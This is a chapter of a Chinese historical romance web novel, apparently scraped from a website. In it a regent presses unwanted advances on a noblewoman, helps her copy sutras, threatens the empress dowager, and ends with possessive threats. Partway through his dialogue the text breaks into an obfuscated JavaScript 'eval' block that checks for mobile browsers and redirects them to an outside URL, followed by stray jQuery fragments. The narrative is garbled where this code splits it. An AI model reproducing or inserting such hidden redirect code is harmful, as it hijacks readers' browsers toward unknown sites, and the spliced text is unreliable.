30. 第 30 章

作品:《始乱终弃摄政王之后

    萧珩的眸光在她脸上细细流连,最终停留在她因紧张而轻抿的唇瓣上。


    佛堂寂静,唯有银炭偶尔迸裂出细微的噼啪声。


    两人呼吸交织,清晰可闻。


    沈挽棠指尖不自觉收紧。她的手置于身侧,身子微微往后缩,尽量拉开两人的距离。身下的桌案冰凉,她脊背绷得很紧。


    “王爷,臣女时限紧迫,还需抄录经文。”


    “佛经抄录,贵在心诚,不在数量多寡,更非严苛时限所能强求。太后娘娘慈悲为怀,若知你体力不支,定不会苛责。”他的嗓音听不出情绪。


    沈挽棠望着他:“这是太后娘娘的旨意。”


    萧珩眸色沉了沉:“你就这般听太后的话,反而不听我的话?”


    “她的话,就这么管用?”


    话音未落,他重新扣住她的后颈,指节深深陷入温软发丝。


    沈挽棠呼吸加重,倔强地别开视线。


    萧珩靠得极尽,能清晰地看见她纤长睫毛投下的阴影,还有紧抿唇线中透出的执拗。


    沈挽棠也看得清楚,他唇上还留有一道伤口,被贝齿咬破的痕迹。


    虽不明显,于她却格外刺目,昨日的混乱与纠缠再次涌入脑海。


    沈挽棠眼睫轻颤。


    一声轻笑之后,他的吻再次落下。


    沈挽棠的指节瞬间攥得泛白。


    然而,并非是她预想的掠夺,而是轻柔的吻,带着一种近乎矛盾的珍视。


    萧珩只是在她下唇,不轻不重地咬了一口,像是惩戒,又仿佛藏着几分难言的眷恋。他的唇稍稍退开,手却依旧扣着她的后颈,迫使她与他额头相抵,鼻尖轻触。


    两人灼热的呼吸紧密交织在一起,不分彼此。


    他嗓音低沉,含着一抹若有似无的喟叹,与未散的情欲。


    “巧得很,本王近来也颇多杂念。”


    “正需借这佛门清净地,好生……静一静心。”


    沈挽棠神色茫然,尚未理解他话中深意,便见他已从容地在矮案前坐下,取过一张空白宣纸,提起她方才用过的那支笔。


    他竟开始抄写经书……


    他垂眸敛目,落笔时刻意模仿着她的笔迹。他的字迹原本风骨峭峻,此时刻意收敛了锋芒,变得清雅工整,与她的字竟有八九分相似。


    若非凑近细看,绝难分辨。


    沈挽棠指尖微蜷。


    他、他竟在帮她作弊?


    沈挽棠目光怔怔,落在他身上良久。可萧珩未曾抬头,只是哼笑:“还愣着做什么?既然执意要抄,便动手。莫非真要等到日头西沉?”


    沈挽棠于对面桌案坐下,取出另一支笔,蘸墨落笔。


    佛堂内重归寂静。


    两道笔尖在纸面游走,沙沙声此起彼伏。有他相助,抄写的速度自然快了许多。


    萧珩虽专注笔端,余光却始终系于她周身。她因暖意恢复血色的脸颊,还有乖顺低垂的眼睫。


    心底升起的怒火与挫败,在此刻的静谧中,被一种更为难言的情绪悄然取代。


    当日头西斜,三卷经文整整齐齐地叠放在案头。萧珩搁下笔,不曾再未看她一眼,起身离开。


    “多谢王爷。”沈挽棠的声音很轻,却清晰地传入他耳中。


    萧珩脚步不停,径直走出了佛堂。


    “卫陵,将经文送至万寿宫,就说是沈二姑娘潜心敬奉,已如期完成太后懿旨。”


    .


    万寿宫。


    萧珩踏入殿内,侍立的宫人便齐齐垂首,无声退至殿外。


    沉重的殿门缓缓合拢,殿内只余下他与太后元疏月。


    萧珩率先打破沉寂。


    “太后娘娘近日为国事操劳,本王看在眼里。还望太后善保凤体,勿要过度忧心。”


    他略作停顿,殿内烛火随之摇曳。


    “尤其是……宣国公族中几位子弟在雍城军中的任职升迁。这笔旧账若此时被翻出,怕是会扰了太后娘娘清静,更伤了皇家体面。”


    宣国公府积弊已深,昨日宫宴上当众失仪已是难看,若再被捏住军中把柄,后果不堪设想。


    太后端坐于凤座之上,保养得宜的面容骤然扭曲。


    “摄政王,你这是在威胁哀家?”


    萧珩唇边勾起一抹冷笑。


    “本王只是善意提醒太后娘娘。”


    “有些人,碰不得。动我身边的人,所要付出的代价,会远超您的想象。若再有下次,可就不是今日这般和风细雨了。”


    “还望您从今往后能放下琐务,安享清福,颐养天年。”


    言毕,他不等太后回应,径自转身。


    满室死寂。


    “哐当——”万寿宫内响起瓷器迸裂的刺耳声响。


    太后胸口起伏不定,死死盯着离去的背影。


    .


    宫门外,夜色如墨。


    沈挽棠踏出宫门,目光落在往日宁远侯府马车停候的位置,此刻却只见一片空荡,唯有几片枯叶被夜风卷着。


    她的心微微提起。


    环顾四周,目光落在不远处的一辆马车上。车辕上端坐着的,正是卫陵。


    沈挽棠的指尖微微蜷缩。


    卫陵行至她面前,姿态恭敬:“沈二姑娘,属下奉命送您回府。”


    夜风带着浸骨的寒意,吹动她单薄的衣角。沈挽棠并未动身,一阵凉风猛地灌入喉间,激得她侧过脸,掩唇抑制不住地低咳起来,肩头轻颤。


    车帘被一只大手从内掀起。


    “怎么,莫非要本王亲自下车相迎,沈二姑娘才肯赏光?”


    萧珩眸光沉沉,落在她愈显苍白的脸上。


    “上车。”


    ……


    马车内空气凝滞,沉香的气息混着无形的压迫感,几乎要将人溺毙在这片狭小的空间里。


    漫长的静默中,沈挽棠终是率先开口。她嗓音清冷:“今日宫中之事,多谢王爷解围。”


    萧珩凤眸斜睨过来,似笑非笑掠过她的沉静侧颜。


    “哦?”他尾音微扬,带着玩味,“那本王倒想听听,你预备如何实实在在地谢我?”


    沈挽棠垂眸不语。


    萧珩眉梢轻挑,语调缓慢:“沈二姑娘的谢意,从来都只是这般……轻飘飘的一句空话?”


    “有些承诺,若自知兑现无望,便不要轻易许下。平白惹人期待,又徒增笑柄。”


    一番话,带着剥皮拆骨般的嘲弄。


    沈挽棠想要逃离。


    萧珩身体倏然前倾。男性的凛冽气息,混着一丝墨香,如无形大网,瞬间将她笼罩。


    “看来宁远侯府的教养,便是如此教导你,对昔日旧人,总爱行这过河拆桥之举?”


    “旧人”二字,被他咬得极重。


    沈挽棠眼中闪过一丝的痛意,她缓缓抬眼,“臣女如今如履薄冰的处境,王爷今日在宫中看得分明,何苦还要再来出言相讥。”


    “清楚,本王如何能不清楚!”他一把攥住她纤细的手腕,力道极大,仿佛唯有这般亲密的接触,才能确认她的存在。


    掌心灼烫,竟隐隐带着一丝颤抖。


    他死死锁住她的眼眸,试图穿透所有伪装。


    “本王就是太清楚了,才更想知道。”


    “沈挽棠,你对着那萧逸巧笑倩兮,对着太后委曲求全,你对这一切,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828855|189821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    究竟是迫不得已,还是……甘之如饴!”


    这不止是质问。


    话语深处,翻涌着痛苦与嫉妒,甚至藏着一丝近乎卑微的期盼。他不肯错过她脸上任何细微的变化。


    四目相对,呼吸交织。


    空气中弥漫的,是恨意和执念,是剪不断的过往。


    沈挽棠猛地甩手,挣脱了他的钳制。白皙的腕间,赫然留下一圈刺目的红痕。


    她侧过脸去,嗓音冷冽,“王爷,前尘已断,旧梦当醒。是臣女……高攀不起。”


    依旧是那番话,执意要与他划清界限。


    萧珩收回僵在半空的手。


    “高攀不起?”他重复着,唇边勾起一抹极尽讽刺的弧度。


    “好一个高攀不起。是本王这块踏脚石已无用处,配不上你沈二姑娘的青云之路了,是吗?”


    他早该知晓的。


    不该再问。


    不该再一次,将这残存的自尊送到她面前,任由践踏。


    她冰冷的话语言犹在耳,如同淬了毒的利剑,反复刺穿他的心口。


    萧珩低低笑了起来,笑声里浸满了苍凉与自嘲。


    马车恰在此时停稳。


    宁远侯府到了。


    沈挽棠心头一紧,几乎是下意识地想要逃离。


    可她刚一动身,手腕便被猛地攥住。天旋地转间,已被卷入充斥凛冽松香的怀抱。带着薄茧的指腹抚上她的后颈,动作轻柔得近乎诡异,一遍又一遍,流连在她最脆弱的肌肤上。


    他的手掌宽大而灼热,几乎能完全握住她脖颈,无比纤细,细腻如瓷。


    他只要稍一用力,就能轻易折断。


    沈挽棠的身躯过分单薄,被他完全圈在怀中。


    萧珩垂着头,鼻尖几乎要与她的相触,灼热呼吸裹挟着怒意,一下下拂过她的脸颊。


    “要拿你如何是好?”


    沈挽棠控制不住地战栗,下唇被咬得泛白。


    “王爷…还请自重。”


    “自重?”


    萧珩从喉间逸出一声低笑,滚烫的气息喷洒在她敏感的耳廓。


    “若是你嫁于萧逸,他也会这般对你么?嗯?”话音未落,他竟张口含住了她柔软的耳垂。齿尖不轻不重地反复厮磨,引来她一阵抑制不住的颤栗。


    沈挽棠紧闭双眼睛。


    委屈与屈辱交织,一丝水汽蓦地氤氲上她的眼角,凝成一颗将落未落的泪珠。


    萧珩的眸中掠过一丝幽深。


    他看见了那点水痕。


    他低头,近乎虔诚地吻去那点咸涩,深不见底的凤眸中暗潮翻涌,像带着毁天灭地的执念。


    “很好,那你就等着,与本王一同坠入地狱吧。”


    宁远侯府外。


    不知过了多久,车门被猛地推开。


    沈挽棠几乎是跌撞着逃离,脚步发软,纤细的身影很快隐入夜色。


    萧珩独坐原处,许久未动。


    空气里还萦绕着她身上的独特冷香。良久,凤眸缓缓合上。他的指尖无意识地摩挲,仿佛还残留着她颈间肌肤的触感,温软细腻,令人着迷。


    他深吸口气,将她的气息攫取入肺腑,带着一种近乎病态的迷恋。


    “呵……”


    一声轻笑逸出唇畔。


    冰冷、平滑,像毒蛇滑过潮湿的岩壁。


    他竟会以为,还能挽回什么。原来放她离开,换来的只是疏远。既然所有的温言软语、克制守礼都毫无意义……那就不必再如此了。


    再睁眼时,他眸中只剩下一种近乎纯粹的冰冷。


    “看来是笼子做得不够明显,才让你总觉得,可以飞走。”